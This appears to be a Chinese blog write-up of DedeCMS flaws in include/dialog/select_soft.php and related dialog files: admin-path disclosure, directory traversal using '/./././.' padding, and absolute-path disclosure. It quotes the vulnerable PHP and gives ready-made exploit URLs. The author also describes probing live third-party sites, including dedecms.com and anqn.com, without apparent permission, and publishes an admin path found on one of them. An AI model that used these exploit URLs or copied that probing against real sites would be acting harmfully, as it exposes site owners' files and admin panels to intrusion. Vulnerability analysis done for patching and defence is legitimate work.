|
正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西, include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台. 看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向.如图1
失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2
看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了..下面去还有织梦的图片.... 既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西. 首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下 include/dialog/select_soft.php
<?php require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
if(empty($activepath)) $activepath = "";
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤. $activepath = ereg_replace("^/{1,}","/",$activepath); if(strlen($activepath)<strlen($cfg_soft_dir)){ $activepath = $cfg_soft_dir; } //如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft //注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php
$inpath = $cfg_basedir.$activepath; $activeurl = "..".$activepath; if(empty($f)) $f="form1.enclosure";
if(empty($comeback)) $comeback = "";
?>
include/dialog/config.php
//检验用户登录状态 $cuserLogin = new userLogin(); if($cuserLogin->getUserID()==-1) { if($cuserLogin->adminDir=='') { exit('Request Error!'); } $gurl = "../../{$cuserLogin->adminDir}/login.php?gotopage=".urlencode($dedeNowurl); echo "<script language='javascript'>location='$gurl';</script>";//嘎嘎,看这里,检测如果没登陆就会转向我们可爱的后台登陆地址了 exit(); } 虽然DEDECMS提供了修改后台目录的功能,但因为include/dialog/config.php的问题,还是会爆出后台管理路径. 接着看另外那个有趣的地方,通过查看include/dialog/select_soft.php源码,我们看到/没过滤,那我们直接构造activepath=/aaa看看,由于下面检测长度的存在,会被替换成/uploads/soft,跳出失败,有些朋友可能会想到直接去构成比$cfg_soft_dir长度长的值就行了,比如/include/FCKeditor,就是可以访问的. 我们访问http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor 如图3
看到没,跳转成功了,不过这对我们来说,用处不大..那能不能跳到根目录呢..经过st0p的尝试发现这个版本是可以跳转成功的. 过滤了..但没过滤.,但下面检测了$activepath长度.小于这个长度,你杂跳都会一直在在/uploads/soft目录下面,那么我们就加N个./试试, 结果在加到/././././././././时成功跳过 我们访问http://target.com/include/dialog/select_soft.php?activepath=/././././././././ 如图4
看到没,直接列出了根目录下的所有文件,还有PHP文件,不过不能查看内容.. 而且DEDECMS在访问不存在的目录时会报错,我们还可以构建一个长度大于$cfg_soft_dir的任意目录,让他爆出绝对路径. 如访问http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 结果如图5
然后看了一下DedeCMS V5.3.1和最新的DedeCMS V5.5正式版,发现这两个版本对.进行了处理,而且只会列出目录和一些允许显示的文件,PHP是不能显示了 include/dialog/select_soft.php
<?php require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入 if(empty($activepath)) { $activepath = ''; } $activepath = str_replace('.','',$activepath);//看到没,这里把过滤..变成了过滤.
$activepath = ereg_replace("/{1,}",'/',$activepath);
if(strlen($activepath) < strlen($cfg_soft_dir)) { $activepath = $cfg_soft_dir; } //不过这个通过长度来检测的地方没过滤,嘿嘿我们还是可以利用的 $inpath = $cfg_basedir.$activepath; $activeurl = '..'.$activepath; if(empty($f)) { $f='form1.enclosure'; }
if(empty($comeback)) { $comeback = ''; }
?> 如构造http://target.com/include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p可以爆出绝对路径 构造http://target.com/include/dialog/select_soft.php?activepath=/include/FCKeditor可以浏览此目录下的文件,当然你也可以跳到别的目录,但长度一定要大于设置中的目录. 不过前提是你要登陆下才能利用,这个就显得有点鸡肋了.杰少说要是在爆一个注入漏洞就完美了.嘎...
另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉到根目录去.不过这些版本的访问地址有些不同. 地址为http://target.com/require/dialog/select_soft.php?activepath=/././././././././
嘿嘿,最后发现include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦.. 存在相同问题的文件还有 include\dialog\select_images.php include\dialog\select_media.php include\dialog\select_templets.php
|